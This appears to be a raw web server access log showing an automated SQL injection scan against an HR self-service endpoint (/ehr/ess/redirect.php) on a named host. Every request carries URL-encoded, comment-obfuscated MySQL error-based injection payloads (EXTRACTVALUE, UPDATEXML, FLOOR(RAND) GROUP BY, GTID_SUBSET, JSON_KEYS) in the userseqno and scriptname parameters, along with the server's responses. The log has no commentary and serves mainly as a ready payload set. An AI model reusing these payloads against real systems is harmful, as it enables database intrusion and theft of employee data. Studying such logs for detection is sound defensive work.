100.64.0.1 - - [07/Sep/2025:02:23:12 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x6f387845%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6538646e%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:12 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x6f387845%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6538646e%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:12 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x53587942%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6b5a754e%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F- HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:12 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x53587942%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6b5a754e%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F- HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:12 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x7a684159%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6550325a%29%29x%29%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:12 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x7a684159%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6550325a%29%29x%29%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:12 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x44346659%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x325a4a58%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:12 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x44346659%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x325a4a58%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:12 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x4162486d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x47557230%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:12 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x4162486d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x47557230%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:12 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x4e423852%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4b367330%29%29%2C1%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:12 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x4e423852%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4b367330%29%29%2C1%29--%2F%2A%2A%2F- HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x45373431%2C%28NULL%29%2C0x4d566c4a%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F-%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x45373431%2C%28NULL%29%2C0x4d566c4a%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F-%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x4c593776%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x474c4a63%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x4c593776%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x474c4a63%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x757a4364%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6f4f666b%29%2C6420%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x757a4364%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6f4f666b%29%2C6420%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x67764859%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x38554859%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x67764859%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x38554859%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x346d4244%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7a53344d%29%2C6420%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x346d4244%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7a53344d%29%2C6420%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x6c346b4e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x644c3266%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x6c346b4e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x644c3266%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x7437346e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x45476378%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x7437346e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x45476378%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x4c494b65%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x33446773%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x4c494b65%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x33446773%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x564c644f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x37577150%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x564c644f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x37577150%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x4a477537%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x717a7269%29%2C5431%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x4a477537%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x717a7269%29%2C5431%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x4462634c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x444d5475%29%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x4462634c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x444d5475%29%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x786f3756%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4235714e%29%2C5431%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x786f3756%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4235714e%29%2C5431%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x334c5749%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x43337470%29%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:13 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x334c5749%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x43337470%29%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 -
